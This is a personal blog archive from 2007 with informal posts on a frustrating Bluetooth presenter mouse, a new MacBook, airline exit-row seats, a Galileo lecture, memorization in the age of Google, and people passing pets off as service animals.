Since I had the MacBook, and I give a lot of presentations, I wanted to get a bluetooth mouse/presenter. There are apparently a few different options, but Best Buy only had one. This thing. It seemed great, and after some hacking I got it to play nicely with the Mac. The mouse worked fine in OS X and Windows XP (BootCamp).

The problems started when I wanted to give a presentation. I installed the software in windows, and it seemed to work fine, but activating the "presenter" functionality made the mouse worthless. The "forward" and "back" buttons for powerpoint did absolutely nothing for me. Why? Because I run PowerPoint in a Virtual Machine. This thing doesn't just send a "down" or an "up," it apparently sends some other bizarre key combination that I can't modify. I can re-map the normal buttons as I see fit, but the presenter buttons do nothing. I've adopted a way of holding it that allows me to use the laser pointer with my middle finger, and activate the re-mapped side buttons with my thumb. It's terrible, but I had no other option. Also, since I bought it at Best Buy, it is basically impossible to return it without loss after I opened it.

The numbers in that image are pointing out 6 ways that this mouse/presenter thing sucks.

Apple wins.

That was fast

2007-06-08T19:42:00.002-07:00

The blogger widget actually sucks because it just expands downward as you type. It places an implicit limit on the length of a post, and that's something that I can't live with.

WowBook

2007-06-08T19:42:00.001-07:00

I wrote this up the day after I got my MacBook, and I think I actually referenced it already as if it were posted. I guess that I should post it now:

So, here’s the thing. I got a MacBook yesterday, and was solely excited about the size of it. It’s a 13 inch laptop, which means that I’ll actually be able to use it on an airplane. My last machine was a 17 inch behemoth, and it was next to impossible to use it in an airline seat. It was also quite heavy, and the case for it was too big to use as a “personal item.” It required me to check bags, and that is a huge hassle if you travel a lot. I’m aware that there exist smaller laptop bags than I had, but mine was ridiculously large because of support hardware that I needed with me (specifically because of functionality that it lacked).

The MacBook arrived, and I got to work with the updates for it. It took quite a while to download everything, but it was really straightforward and only required one restart. I was amazed that the built in camera worked off the bat. It was trying to take a picture of me to use as my user icon, but I fought back and just picked a dragonfly picture. I shall cling to my internet anonymity. I grabbed the important stuff (Python, Firefox, GreaseMonkey) that I thought of at first, and then grabbed BootCamp.

I need to run Windows XP so that I can use Virtual PC to run an image that I use for presentations and software demos. I teach and code for Microsoft products, so it’s necessary that I can use virtual images to run my presentations. Part of my goal was to have a Mac at the same time as being a de facto shill for Microsoft. I’m a fan of juxtapositions.

So anyhow, I’m basically just trying to get things working today when I notice a little remote control type thing in my box. I press a little “menu” button in the middle of it, and my screen zooms and rotates out of view, and I’m confronted with a faux three-dimensional interface where I can choose between four programs that it will apparently work with. I can watch a movie, listen to music, and so on. The way it morphed really struck me as “wow.”

And well, that’s the thing about Apple. That’s the thing that they always get right. There is always some random tool or functionality that you weren’t expecting that can make even a hardened technogeek like me sit back and say “wow.” Then again, perhaps I’m exactly the kind of person who would have that reaction that you’d normally only expect from a child.

Another point to make is that the Windows installation was straightforward. I used a legit copy of XP with a real key, and it went smoothly. The driver installation was incredible, though. I insert a CD that the mac burned for me, and it goes through the entire installation procedure for every driver for every device that I have on this laptop - without any interaction from me. Apple even made XP “just work.”

That’s why the world loves Apple. I get a Toshiba, and it works fine, and it takes me a few hours to start noticing what it doesn’t have. Last time I was looking for an SD card reader. I got this MacBook yesterday afternoon, and didn’t want to sleep last night. I didn’t start the Windows installation until today because I didn’t want to turn this thing off. Around every corner I was amazed with the performance, the look, and the “wow” factor. Instead of lamenting the nonexistent SD card reader, I’m looking for a camera with a hard drive in it that’ll just connect via bluetooth. I’m looking for a bluetooth trackball, and a bluetooth presenter. The product is cool enough to structure my other purchases around, and that’s something that Apple should be proud of.

I can’t wait to get an iPhone.

Blogger Widget

2007-06-08T19:21:00.001-07:00

I just grabbed a widget to post to blogger with from my MacBook. I do believe that I might therefore be blogging more, now that it's so simple to do so. Let me try adding a link in here to make sure that it works properly.

Uh oh, I can't attach labels through this (as far as I know so far). I guess that kills this idea, not that anyone ever found me because of a label that I had.

This may be a Blowg

2007-06-08T16:59:00.000-07:00

I had the brilliant idea to use the term "blowg" to refer to a blog that blows. I looked it up online, and found that this term is already in use to mean:

Using your hardly read by anybody blog to copiously praise the work of your friends, usually at their behest, in a vain attempt to create a 'media buzz' around them.

I grabbed that from urbandictionary.com, and couldn't really find any other use of it anywhere.

Anyhow, that definition sucks, and I'm re-coining it to refer to a blog, much like this one, that absolutely blows. I have first use in this context, as far as I know.

Got me a MacBook

2007-06-06T20:44:00.000-07:00

So I do alot of work with SharePoint, a Microsoft product, and the hot activity right now is to go and give training presentations at client sites. They put 20 people in a room, and I spend a week giving 7 hours of lectures and assignments to them.

It is going to be awesome to give the presentations and demos from a MacBook.

Using search queries to create news

2007-06-04T02:01:00.001-07:00

So I was thinking that if there were an earthquake in Los Angeles, the internet would react as follows:

100,000 people in Los Angeles search for "earthquake" and related terms
Some areas stop generating web traffic in the immediate area
CNN adds a story to their front page about a tsunami in Santa Monica
Other news outlets eventually post stories with official information regarding the quake
CNN fixes their front page to let people know that it was actually a 5.8 quake around Pasadena

The timing, I would guess would be as follows. (1) happens from 5 seconds after the shaking starts until it's been over for about 6 hours. (2) would be happening from the time people started losing power in the area. (3) takes 20 minutes to go live, and is based on bad information. The tsunami is obviously an exaggeration, but the idea is that they will get some key facts wrong. (4) would start happening about an hour or two after the quake, and would be around the same time as (5).

So what do we see here? We could have guessed at the earthquake from the hundred thousand related queries in the immediate area, and probably generated some useful information by bumping that up against the region that stopped generating as much traffic as it usually does.

This would require some sort of simplistic combination of search terms to generate the "news" article. It would obviously be susceptible to clever hacking, but (3) is all we see now. That's typically bad information anyhow. You can pull a location, an "event" and all sorts of other data from the information that's already out there.

If you think this is a bad idea, then think about it some more. If there is more of a deal breaker that I'm missing out on, please let me know. It seems that there is a lot of this "sort" of information out there anyhow, and I would bet that news outlets actually monitor this sort of thing to have people create reports out of… but this could be fully automated. It's almost simple.

Guest Housing

2007-06-02T07:45:00.000-07:00

So I attended a lecture yesterday with Cindy about the trial of Galileo, and the speaker was explaining that Galileo wasn't put into a cell during the proceedings. Instead, he was placed in a building that was used for "guests who weren't really on trial or officially charged with anything."

Me: "Like Guantanamo."

We disagreed on whether or not this was controversial, so I figured that I should write something before I forget all about it. I didn't think it was controversial at all, as it's just a statement of fact. Any disagreement would not come from an ideological difference (where I see controversy as needing to live), but from a lack of information.

In my view, controversial would be stating an opinion. "We shouldn't be putting people in Guantanamo." "We should send more people there." Perhaps bringing up an ugly fact is in poor taste, but I don't think it can be controversial. The only potential controversy would be over whether or not I should have said it, which would then make every single thing everyone ever says into something of controversy.

Anyhow, the talk was pretty informative, and I think I would have liked Galileo a great deal. He apparently didn't just have to win arguments, but enjoyed making his opponents look like imbeciles.

The speaker attributed a lot of Galileo's argumentative success to his being better equipped than anyone else alive at the time. Even when he was wrong about his own contentions, he could destroy anything set forth by any opponent. They couldn't argue in the same league as he did.

If I lived in AD&D Land

2007-05-23T16:00:00.001-07:00

Your Score: Chaotic-Good

76% Good, 84% Chaotic

Plane of Existence: Arborea, "Arvandor, Olympus, Olympian Glades". Notable Inhabitants: Titans & gods of Greek mythology; Eladrin.

Examples of Chaotic-Goods (Ethically Chaotic, Morally Good)

Tifa Lockheart (FFVII), Captain Kirk, Robin Hood, Thomas Jefferson, Oscar Wilde, Peregrin Took, Jim Hawkins, Austin Powers, Walt Whitman, Zorro, Han Solo, The Flash

Unwilling to be governed by the laws and desires of any group. Interacts with others on a one-to-one basis and, within such bounds, follows the good ethic of upholding rights. The stereotypical chaotic-good [person] is the white knight who refuses to join any group and goes about on his/her own, doing good.

Will keep their word to others of good alignment / Would not attack an unarmed foe / Will not use poison / Will help those in need / Prefers to work alone / Responds poorly to higher authority / Distrustful of organizations

Chaotic Good "Beatific"

"Rebel"

A chaotic good [person] acts as his conscience directs him with little regard for what others expect of him. He is kind and benevolent, a strong individualist hostile to the claims of rules, regulations, and social order. He hates it when people try to intimidate others and tell them what to do. He will actively work to bring down unjust rulers and organizations and to liberate the oppressed. He finds lawful societies distasteful and will avoid them, often living as a nomad or hermit. The best example of a chaotic good [person] is one of the benevolent rogue who steals from the rich and gives to the poor.

Chaotic good combines a good heart with a free spirit.

Link: The Alignment Test written by xan81 on OkCupid Free Online Dating, home of the The Dating Persona Test

Custom kicks

2007-05-22T11:51:00.000-07:00

I designed some shoes at Nike.com that I think I'll order. Here's the link! Enjoy, and feel free to make changes and reply with better options.

Wii had some fun today

2007-05-19T18:44:00.000-07:00

So I'm posting this from a Wii I picked up today. It's too slow to make a long post with, but I wanted to say something. Oh yeah, it's fucking fun!

The Exit Row

2007-05-16T14:35:00.000-07:00

Today I'm flying halfway across the country, and my girlfriend drove me to the airport. She did me a favor by checking me in online and printing out my boarding pass, and thought she did an even better job by getting me out of the normal aisle seat that I had and putting me into the exit row.

Now, if you're not a very large person, you probably don't notice the little things on airplanes. You hear that exit rows have more legroom, and that's generally true. The important thing that goes unnoticed, and why my girlfriend didn't realize the disservice she actually did for me, is that the first set of exit row seats do not recline. If you're 5'6" and like to kick your legs out like a retard, then this won't make much difference. The seats on airplanes don't recline much anyhow. If you're 6'6," and can barely fit your legs into a normal seat anyhow, chances are that you have a taller than average back.

Why is this important? They design the seats to give a sort of neck support to normal-sized people. This ends up making the very top part of the seat stick out farther than the middle of it. It also disallows a taller person from sitting up straight. They're pushed forward. Imagine sitting with your back straight, but lean forward about 4 inches. Now try to do that for 4 hours. It destroys your back and neck. The solution is to recline the seat, and that way you can enjoy 90% of the comfort that a normal-sized passenger has if they leave their seat up.

Anyhow, if you're checking in tall friends of yours, do not do them a favor by moving their seat to the first exit row. They're by far the worst seats on any plane.

Chart House on the Potomac

2007-05-05T13:55:00.000-07:00

Today I had planned to make a trip up to the Smithsonian, but while driving up 395 I noticed that I had forgotten my camera. I wanted to snap some pictures, so that idea was shut down. Not wanting to waste the trip entirely, I decided to find a place to eat.

I came across an exit for "Duke Street," so I figured I should probably take it. I made a right, and started driving. Well, I saw some decent options for lunch, but nothing really jumped out at me. The surroundings started looking a bit residential, so I decided to turn around within a mile or so. But then I saw water.

I made a left and looked for parking. It was raining, but I really like water so I was intent on finding a place to park so I could watch the boats go back and forth for a bit. I had no idea where I was and street parking was completely occupied, so I ended up pulling into a parking structure. $5 for the first hour, and a $10 daily maximum. What a scam.

Anyhow, I parked, and started walking toward the water. There was a seafood place that I planned on hitting up after checking out the river, but the water took precedence.

I was lucky that it did, as I stumbled across a Chart House. The Chart House is a Landry's chain, and also happens to be my favorite chain restaurant in existence. I've been there around 10-15 times in various cities, and the food is always excellent. One thing I didn't expect was that they had lunch specials. Herb crusted salmon, some clam chowder, and a coke ran me about $25, which was great after expecting to pay about $50. It's typically a pricey place.

Anyhow, the bottom line is that I followed my name, ran into my favorite restaurant, and ended up getting to eat lunch on the Potomac in Alexandria. Tomorrow I'll hit up the Smithsonian, and I'm pretty happy that I forgot my camera today.

Bad eyes as a competitive advantage

2007-05-04T22:05:00.000-07:00

I was just thinking about Kim Peek, and how his "brilliance" is all for naught. He remembers everything he ever sees, but his brain doesn't provide a sort of filter to allow him to usefully process that information. He can't make sense of anything, so the result is useless to him.

You and I have a sort of filter. We walk into a room, and don't notice every single detail, since a lot of those details are completely useless to us. We don't waste our minds contemplating that the blue carpet is exactly the same as it was last time, and only end up noting the things that look out of place. Good eyes allow us to see that, but in general the brain acts as the filter for us. If we have bad eyes, we get glasses and put the burden on our brains. We'd rather see everything and let the brain operate.

My idea is that bad eyesight is a sort of alternate solution for this processing problem. It could essentially be viewed as an external filter to take that initial processing load off of the brain. I'm not arguing that it's better than seeing things well and letting the brain work it out - this is obviously not the case. It's better to see everything and ignore it than to not see things at all, obviously.

But assume that Kim Peek had to live his whole life with bad eyes. Would he be able to process information better than he can now? Would his brain have adapted in a way so as to be able to reason about the limited data that he could observe? Would he be as able as a typical person when it came to figuring the world out?

I don't know the answers, but just wanted to get the idea written down. In a nutshell, I'm viewing eyesight as a way to move that internal filter to a more external location, to achieve a similar benefit. The benefit is being able to work with a smaller amount of information and make some sense of it.

The fall of memorization

2007-03-01T09:21:00.001-08:00

In the past, a lot of schooling had to do with getting kids to remember names, dates, facts, and formulas. In fact, it's not until college (or in some cases graduate school) where the focus trends more toward concepts and the actual process of thought. Intelligence is partially judged by one's ability to memorize things, and in past generations it was definitely a good thing for that.

But today we have Google. That's just a specific example of a source, but the principle is that we have near-immediate access to information on most any topic. If you can't find it on the internet, chances are that you won't be able to find it in a library either. Instant access to any fact out there makes it less important to know the significance of the year 1215.

And well, most of life has nothing to do with spitting back facts. Instead, the most desirable trait in all walks of life is the ability to reason. It's the ability to see something completely new, and figure out what's going on quickly. But how can you get better at that? The answer is to understand concepts, and not to just memorize results of their application.

Now, let's look at the technology side of things. When I was in college, I had a professor who was saying how bus speeds would stay very slow, so that methods to move processing to the CPU itself without needing to access memory at all would be extremely important. Though bus speeds are still lagging behind that of the processors, we now have 800MHz and faster system buses, and they're improving. For normal usage these days, the RAM is as fast as video memory. And well, the speed differential isn't something to worry too much about for other computing endeavors. Computers got fast, and they're getting faster.

But where the memory bus issue was big back in the day, the new issue is network latency. That's something that will likely always be an issue, as while improvements will likely be exponential, distances involved have the ability to increase by more than that. So what's the solution to latency? To construct legitimate simple steps to reconstruct the information that we're looking for from a similarly small set of initial data. If you want to pass along all numbers 1 through 1 million, sending them together will take, say, X amount of memory. There are compression algorithms that can look at that stream, and reduce it to 30% of X or so. That's the concept, but in general, if you could tell them to start at 1, keep adding 1 and append the new number to the stream, and then stop at 1 million, it would take far less memory, and you just offload the work to the processor on the other end.

See, that's what computers are good at. They know how to repeat mundane tasks again and again, and for things like that we will need to develop a way to break a data set down systematically to constituent parts. I've been doing some work in this area off and on, and I'm not able to make the progress as quickly as I would like. But that's the future (as I see it, anyhow).

What does all of this mean to me? Well, concepts (you could call the simple steps a concept) are truly the important thing to pass along to other people, and the useful things to remember. Kids don't need to remember the results as long as they can quickly reconstruct the answer by applying principles that they understand. And that's the same thing as what will be best for transmitting raw data from oe computer to another.

My verdict is to stop memorizing facts, and start memorizing principles. If you memorize a multiplication table, you'll have instant answers for 144 potential problems. If you truly learn how to multiply, you will have at your fingertips the means to solve an infinity of problems. For trivial facts, you shouldn't waste your brain. There's always the internet.

Dogs on a Plane

2007-02-22T15:39:00.001-08:00

I read part of a thread today on an internet forum where a guy was talking about taking his dog on an airplane posing as a "service animal." This is the exception for seeing-eye dogs that the government put in place to help out the disabled. The guy in question is not disabled, so it'd be a ploy so that his dog wouldn't have to ride in the baggage compartment.

I got pissed off at the thought. Was it because I thought it was wrong to take advantage of a loophole? Certainly not, since I think that most regulations are retarded. The thing that pissed me off is that he showed absolutely no consideration for the other 100 people on the airplane. For several hours, they'll have to breathe in the pet dander that his dirty mutt is shedding into the recycled airplane air. To me, it's far worse than any kind of smoke. It stinks, and a lot of people are allergic to it.

But that guy, well, he couldn't care less about the comfort of his fellow passengers. He might even get a better seat out of the deal, as long as he can pull it off. Who cares if a whole family has to not board the plane because Captain Puppy Love couldn't bear the thought of putting his animal in with the bags, and they have a kid that's allergic to dogs? Who cares that he's inconveniencing 100 people by making them smell the disgusting odor that is "dog?" Who cares that his dog, which is obviously not properly trained as a service animal, decides to pee all over the airplane. Ignore all of that, and concentrate on the important thing: He's a great guy because he really loves his pet.